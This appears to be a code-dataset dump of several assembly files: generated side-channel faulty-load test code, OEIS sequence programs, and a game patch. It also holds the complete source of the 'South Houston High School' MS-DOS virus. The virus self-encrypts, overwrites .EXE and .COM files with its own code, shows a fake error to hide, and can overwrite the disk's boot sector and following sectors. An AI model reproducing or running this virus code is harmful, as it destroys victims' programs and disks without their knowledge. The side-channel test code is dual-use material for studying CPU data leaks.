hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
a8c175aa539ea937ff45313a4d55f70ea164c410
7,341
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_12089_2452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_12089_2452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_12089_2452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x13533, %r11 nop lfence mov (%r11), %rsi and %rax, %rax lea addresses_D_ht+0xbf13, %rsi lea addresses_WC_ht+0x1d22b, %rdi nop nop nop nop sub $59436, %r10 mov $60, %rcx rep movsl nop nop nop sub $47989, %rcx lea addresses_normal_ht+0x12bf3, %rsi nop nop nop cmp $13634, %rcx movl $0x61626364, (%rsi) nop nop nop nop cmp $10370, %rsi lea addresses_D_ht+0x157f3, %r11 nop nop sub %rdi, %rdi mov $0x6162636465666768, %rbx movq %rbx, (%r11) nop nop nop xor %r11, %r11 lea addresses_WT_ht+0xe4bf, %rcx add $32414, %r10 movw $0x6162, (%rcx) nop xor %rcx, %rcx lea addresses_UC_ht+0x19fb3, %rsi lea addresses_WT_ht+0x1bd33, %rdi nop cmp $37687, %r10 mov $61, %rcx rep movsw nop nop and $27173, %rcx lea addresses_D_ht+0xbab, %rcx clflush (%rcx) nop dec %rbx movups (%rcx), %xmm1 vpextrq $0, %xmm1, %rax inc %r11 lea addresses_A_ht+0x4333, %rsi lea addresses_WC_ht+0x5833, %rdi nop nop sub $18875, %rbp mov $70, %rcx rep movsl nop nop nop nop sub %r11, %r11 lea addresses_WT_ht+0x197c3, %rcx nop dec %rbp mov (%rcx), %eax nop dec %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdi // Store lea addresses_US+0x18733, %r11 nop sub %rdi, %rdi mov $0x5152535455565758, %rcx movq %rcx, %xmm6 movups %xmm6, (%r11) nop nop nop nop sub $65521, %r15 // Store lea addresses_UC+0xfc73, %r14 nop and %rbp, %rbp movw $0x5152, (%r14) nop nop nop nop and %rbp, %rbp // Store lea addresses_UC+0x11f33, %rbp nop nop nop nop and $26542, %rdi movb $0x51, (%rbp) nop nop nop sub %rdi, %rdi // Load lea addresses_WT+0x509b, %r11 nop cmp $8168, %rbx movaps (%r11), %xmm3 vpextrq $1, %xmm3, %rdi xor $13154, %r14 // Load mov $0xec3, %r11 nop add %r15, %r15 mov (%r11), %rbp nop nop sub $52227, %r11 // Faulty Load lea addresses_PSE+0x14b33, %r14 nop dec %rcx movups (%r14), %xmm2 vpextrq $0, %xmm2, %r11 lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'33': 12089} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
35.635922
2,999
0.652363
7f663e7b3e6a14089c8272edd0e79305e5a80c8f
11,145
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.shhs.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.shhs.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.shhs.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; Source code to South Houston High School virus ; codeseg segment assume cs:codeseg, ds:codeseg org 100h cr equ 13 lf equ 10 tab equ 9 start: call encrypt_decrypt jmp random_mutation encrypt_val db 0 infect_file: mov bx,handle ; (648C:01F2=0) push bx ; Save handle call encrypt_decrypt ; encrypt code pop bx ; Restore handle mov cx,offset eof-offset start ; Length of code mov dx,offset start ; Start of code mov ah,40h ; Write to handle BX int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx call encrypt_decrypt ; decrypt code mov al,encrypt_val ; AL= code # add al,13 ; add 13 adc al,0 ; plus carry mov encrypt_val,al ; save new value ret ; Return encrypt_decrypt: mov bx,offset encrypted ; offset of encrypted ; code in memory mov al,encrypt_val ; encryption value or al,al ; 0 ? jz skipcryptor ; Don't waste time xor_loop: xor byte ptr [bx],al ; modify byte inc bx ; next byte, please add al,bh ; adjust encryption key cmp bx,offset eof ; are we done yet? jle xor_loop ; Nope, keep goin' skipcryptor: ret ; Yep, bye bye! ; The code from here on is encrypted until run-time (except in the case of a ; first-run copy). encrypted: exe_filespec db '*.EXE',0 com_filespec db '*.COM',0 newdir db '..',0 fake_msg db 'Program too big to fit in memory',cr,lf,'$' virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but ' db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf db cr,lf,tab,'Dedicated to the dudes at SHHS' db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$' random_mutation: mov si,offset fname ; point to fname mov di,offset tfname ; point to tfname mov cx,13 ; 13 chars rep movsb ; copy the string cmp byte ptr encrypt_val,0 ; encryption value je install_val ; Jump if equal mov ah,2Ch ; Get time int 21h ; Call DOS to ^ cmp dh,55 ; more than 55 seconds? jg find_extension ; Yes: don't mutate install_val: or dl,dl ; DL = 0 ? jnz skipmutation ; No need to mutate skipmutation: mov encrypt_val,dl ; save code number find_extension: mov byte ptr files_found,0 ; Haven't found any yet mov byte ptr files_infected,3 ; No more than 3 files mov byte ptr success,0 ; No successful tries find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC mov dx,offset exe_filespec ; point to '*.EXE',0 mov ah,4Eh ; Find first int 21h ; DOS Services jc find_com ; No more? Find EXE call find_healthy ; Find a healthy file find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC mov dx,offset com_filespec ; point to '*.COM',0 mov ah,4Eh ; Find first match int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc chdir ; No more? CD .. call find_healthy ; Start over chdir: mov dx,offset newdir ; point to '..',0 mov ah,3Bh ; CHDIR .. int 21h ; DOS Services jnc find_exe ; Look for EXEs jmp exit_virus ; find_healthy: mov bx,80h ; points at DTA mov ax,[bx+15h] ; original attribute mov orig_attr,ax ; ^ mov ax,[bx+16h] ; original time stamp mov orig_time,ax ; ^ mov ax,[bx+18h] ; original date stamp mov orig_date,ax ; ^ mov dx,9Eh ; filename xor cx,cx ; zero out attributes mov ax,4301h ; set attribute int 21h ; DOS Services mov ax,3D02h ; Open file read&write int 21h ; DOS Services mov handle,ax ; save file handle mov bx,ax ; place ^ in BX mov cx,20 ; read in 20 chars mov dx,offset compare_buff ; Points to buffer mov ah,3Fh ; Read file int 21h ; DOS Services mov bx,offset compare_buff ; Points to buffer mov ah,encrypt_val ; Encryption value mov [bx+offset encrypt_val-100h],ah ; Fill in the blank mov si,100h ; Point to code's start mov di,offset compare_buff ; Point to buffer repe cmpsb ; Compare buff to code jne healthy ; Didn't match, jump... call close_file ; Close the file inc byte ptr files_found ; Found one! continue_search: mov ah,4Fh ; Find next int 21h ; DOS Services jnc find_healthy ; Find more no_more_found: ret ; RETurn healthy: mov bx,handle ; (648C:01F2=0) mov ah,3Eh ; Close file int 21h ; DOS Services mov ax,3D02h ; Open file read&write mov dx,9Eh ; Filename is .... int 21h ; DOS Services mov si,dx ; Point to filename mov di,offset fname ; Point to fname mov cx,13 ; Copy 13 chars rep movsb ; Copy filename mov handle,ax ; save handle call infect_file ; infect file call close_file ; close file inc byte ptr success ; Success!!! dec byte ptr files_infected ; We got one! jz exit_virus ; Jump if zero jmp short continue_search ; Continue the search close_file: mov bx,handle ; get handle mov cx,orig_time ; get original time mov dx,orig_date ; get original date mov ax,5701h ; set date/time stamp int 21h ; DOS Services mov ah,3Eh ; close file int 21h ; DOS Services mov cx,orig_attr ; get original attrib mov ax,4301h ; get/set attribute mov dx,9Eh ; point to filename int 21h ; DOS Services ret ; RETurn exit_virus: cmp byte ptr files_found,8 ; Found at least 8? jl print_fake ; No, keep low profile cmp byte ptr success,0 ; Got anything? jg print_fake ; Yep, cover it up mov ah,9 ; Print string mov dx,offset virus_msg ; Point to virus msg int 21h ; DOS Services mov ah,19h ; Get current disk int 21h ; Call DOS to ^ mov si,offset tfname ; Point to tfname mov di,offset fname ; Point to fname mov cx,13 ; Copy 13 chars rep movsb ; Copy filename mov bx,offset kbstr ; BX points to message xor dx,dx ; Start at boot sector mov cx,35 ; 35 sectors int 26h ; Absolute disk write, drive al jmp short terminate ; End of the line! print_fake: mov ah,9 ; Print string mov dx,offset fake_msg ; DX points to fake msg int 21h ; DOS Services terminate: mov ax,305h ; Set typematic rate mov bx,31Fh ; Long delay, fast reps int 16h ; Keyboard i/o call ^^ int 20h ; Terminate process kbstr: db 'Killed by: ' ;Killed by fname: db '1st run copy',0 ;13 spaces for filename ekbstr: db '$' ;Terminator for string eof: ;These variables are for temporary use only and are therefore excluded from ;encryption and writing to the disk (this saves time and space). compare_buff db 20 dup (?) files_found db ? files_infected db ? orig_time dw ? orig_date dw ? orig_attr dw ? handle dw ? success db ? tfname: db 13 dup (?) codeseg ends end start 
46.631799
79
0.395603
0f245ac2d17883d673ae8b8f4945340e2e26fdd1
847
asm
Assembly
oeis/142/A142086.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142086.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142086.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142086: Primes congruent to 16 mod 35. ; Submitted by Jamie Morken(s2) ; 191,331,401,541,751,821,1031,1171,1381,1451,1801,1871,2011,2081,2221,2711,2851,3061,3271,3691,3761,4111,4391,4951,5021,5231,5441,5581,5651,5791,5861,6211,6421,6491,6701,6841,6911,7121,7331,7541,7681,8101,8171,8311,8521,8731,8941,9011,9151,9221,9431,9781,9851,10061,10271,10691,10831,11251,11321,12161,12301,12511,12721,12791,13001,13421,13841,14051,14401,14821,14891,15031,15101,15241,15451,15661,15731,16361,16921,17341,17551,17761,17971,18041,18181,18251,18461,18671,19231,19301,19441,19861,20071 mov $1,10 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 mul $3,5 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,14 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,52 mul $0,5 add $0,191
33.88
500
0.723731
773a48fd7b329fd3476ad4f959cca31c92b1b80d
847
asm
Assembly
src/mods/cloakstop_to_empimmunity.asm
mvdhout1992/ts-patches
a426970abeb6993eea6703d1a756fd74489ffed2
[ "MIT" ]
33
2016-07-30T14:17:28.000Z
2021-12-19T15:45:19.000Z
src/mods/cloakstop_to_empimmunity.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
73
2018-08-17T00:25:19.000Z
2021-05-10T08:31:15.000Z
src/mods/cloakstop_to_empimmunity.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
18
2017-05-16T11:28:06.000Z
2022-03-20T20:41:03.000Z
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" ; Removes the broken CloakStop logic and instead replaces it with EMPImmune= ; Author: Iran @LJMP 0x00492E84, _Check_For_EMP_Immunity_Add_Check_For_CloakStop @LJMP 0x004A686E, 0x004A6897 ; Remove CloakStop logic (it's broken) @LJMP 0x0063C29A, _TechnoTypeClass__Read_Ini_Change_CloakStop_To_EMPImmune section .rdata str_EMPImmune db "EMPImmune", 0 section .text _Check_For_EMP_Immunity_Add_Check_For_CloakStop: mov eax, [esi] mov ecx, esi call dword [eax+84h] mov cl, [eax+443h] ; Check for CloakStop test cl, cl jnz 0x00492F78 .Normal_Code: mov eax, [esi+32Ch] jmp 0x00492E8A _TechnoTypeClass__Read_Ini_Change_CloakStop_To_EMPImmune: push str_EMPImmune jmp 0x0063C29F
27.322581
76
0.737898
4f9aa865cac69f958c707f7d9d74639eecc5042b
750
asm
Assembly
oeis/125/A125683.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/125/A125683.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/125/A125683.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A125683: Numerator of Sum_{k=1..n} (-1)^(k+1) * 1/(k*(k+1)). ; Submitted by Jamie Morken(w1) ; 1,1,5,11,2,79,331,479,493,5297,2701,69071,70061,69203,55963,471181,158395,8960447,45108541,44831407,45083347,1031626241,518238043,5160071143,5180664331,15484789693,15537907043,64166447971,64357670431,1989542332021,7978964770609,3979714828967,3988907823167,27861681000449,27918983997629,1030996803010973,1032896849759573,1031094241305773,1032806719336883,42278288849598913,6048842168066959,1818093633186492859,1820582953524442759,1818204269645957299,1820479532486247739,85460151199040573933 mov $1,1 lpb $0 mov $2,$0 sub $0,1 add $2,1 mul $3,$2 add $2,1 mul $3,-1 add $3,$1 mul $1,$2 lpe sub $1,$3 mul $3,2 gcd $3,$1 div $1,$3 mov $0,$1
35.714286
491
0.769333
8c35ba209c1ae99c95abbf59fe0d158b493e7b89
795
asm
Assembly
oeis/141/A141976.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/141/A141976.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/141/A141976.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A141976: Primes congruent to 27 mod 28. ; Submitted by Jon Maiga ; 83,139,167,223,251,307,419,503,587,643,727,811,839,1063,1091,1231,1259,1399,1427,1483,1511,1567,1847,1931,1987,2099,2239,2267,2351,2659,2687,2939,3023,3079,3163,3191,3331,3359,3499,3527,3583,3779,3863,3919,3947,4003,4283,4339,4423,4451,4507,4591,4703,4759,4787,4871,5011,5039,5179,5347,5431,5683,5711,5851,5879,6047,6131,6271,6299,6551,6607,6691,6719,6803,6971,7027,7307,7559,7643,7699,7727,7867,7951,8147,8231,8287,8539,8623,8707,8819,9043,9127,9239,9323,9463,9491,9547,9631,9743,9883 mov $2,$0 add $2,6 pow $2,2 mov $4,26 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,28 lpe mov $0,$4 add $0,1
36.136364
487
0.716981
cd8b77bd2829cdb01778f5dbc2b1ca766dede133
1,113
asm
Assembly
programs/oeis/116/A116551.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116551.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116551.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A116551: Permutation of natural numbers generated by 3-rowed array shown below. ; 0,3,1,6,4,2,9,7,5,12,10,8,15,13,11,18,16,14,21,19,17,24,22,20,27,25,23,30,28,26,33,31,29,36,34,32,39,37,35,42,40,38,45,43,41,48,46,44,51,49,47,54,52,50,57,55,53,60,58,56,63,61,59,66,64,62,69,67,65,72,70,68,75,73,71,78,76,74,81,79,77,84,82,80,87,85,83,90,88,86,93,91,89,96,94,92,99,97,95,102,100,98,105,103,101,108,106,104,111,109,107,114,112,110,117,115,113,120,118,116,123,121,119,126,124,122,129,127,125,132,130,128,135,133,131,138,136,134,141,139,137,144,142,140,147,145,143,150,148,146,153,151,149,156,154,152,159,157,155,162,160,158,165,163,161,168,166,164,171,169,167,174,172,170,177,175,173,180,178,176,183,181,179,186,184,182,189,187,185,192,190,188,195,193,191,198,196,194,201,199,197,204,202,200,207,205,203,210,208,206,213,211,209,216,214,212,219,217,215,222,220,218,225,223,221,228,226,224,231,229,227,234,232,230,237,235,233,240,238,236,243,241,239,246,244,242,249,247,245,252 mul $0,2 mov $1,5 mov $2,1 mov $3,3 lpb $0,1 sub $0,1 add $2,3 mov $4,$2 sub $4,$0 trn $0,$3 mov $3,$1 lpe add $1,$4 sub $1,5
61.833333
891
0.695418
fdf83587fec7a46b7af5009d4f33a94bef018d34
805
asm
Assembly
oeis/221/A221121.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/221/A221121.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/221/A221121.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A221121: Number of n X 3 arrays of occupancy after each element stays put or moves to some horizontal or antidiagonal neighbor. ; Submitted by Christian Krause ; 8,200,4872,118472,2880520,70036168,1702839048,41402332360,1006644240392,24475254623432,595084206353160,14468703925621448,351787849605678088,8553267228797150920,207961646114893122312,5056318842606537992392,122937862417059369787400,2989075350296675556784328,72675506748614130315109128,1767011086101803690364679880,42962592461953716606562202632,1044579949480622680465665393352,25397612395556087311238249919240,617510144355752740193102216772808,15013961645031771665259889389404168 add $0,2 mov $4,1 lpb $0 sub $0,1 mul $2,2 add $2,$4 mov $1,$2 sub $1,$4 mul $2,8 sub $4,$3 add $3,$1 add $4,$2 lpe mov $0,$1 div $0,16 mul $0,8
38.333333
478
0.819876
0d56b7d51ee1fa6a8d380325da4124d3d375835b
148
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/z11_char0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/z11_char0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/z11_char0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: z11_char0.asm Type: file Size: 109786 Last-Modified: '2016-05-13T04:23:03Z' SHA-1: F55283280B463784FB5E4A340B83AAB5856BD0A5 Description: null
21.142857
47
0.817568
c04adafe262723506616ca65f4d0e84b9e698571
380
asm
Assembly
programs/oeis/048/A048711.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/048/A048711.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/048/A048711.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A048711: 2nd row of Family 1 "90 X 150 array": generations 0 .. n of Rule 90 starting from seed pattern 7. ; 7,27,119,427,1799,6939,30583,109227,458759,1769499,7798903,27984299,117901063,454761243,2004318071,7158278827,30064771079,115964117019,511101108343,1833951035819,7726646167303 mov $1,7 lpb $0 sub $0,1 seq $1,48725 ; a(n) = Xmult(n,5) or rule90(n,1). lpe mov $0,$1
38
177
0.744737
b48e6bca25ff8c8233231252e99d1bccf83ebe60
12,228
asm
Assembly
bootable/EnhancedHelloWorld-UEFI/EnhancedHelloWorld.asm
ElecBot/x64-FASM-Programs
5695e35b7856cd99f30a5b1d4882b9f00abf2849
[ "MIT" ]
null
null
null
bootable/EnhancedHelloWorld-UEFI/EnhancedHelloWorld.asm
ElecBot/x64-FASM-Programs
5695e35b7856cd99f30a5b1d4882b9f00abf2849
[ "MIT" ]
null
null
null
bootable/EnhancedHelloWorld-UEFI/EnhancedHelloWorld.asm
ElecBot/x64-FASM-Programs
5695e35b7856cd99f30a5b1d4882b9f00abf2849
[ "MIT" ]
null
null
null
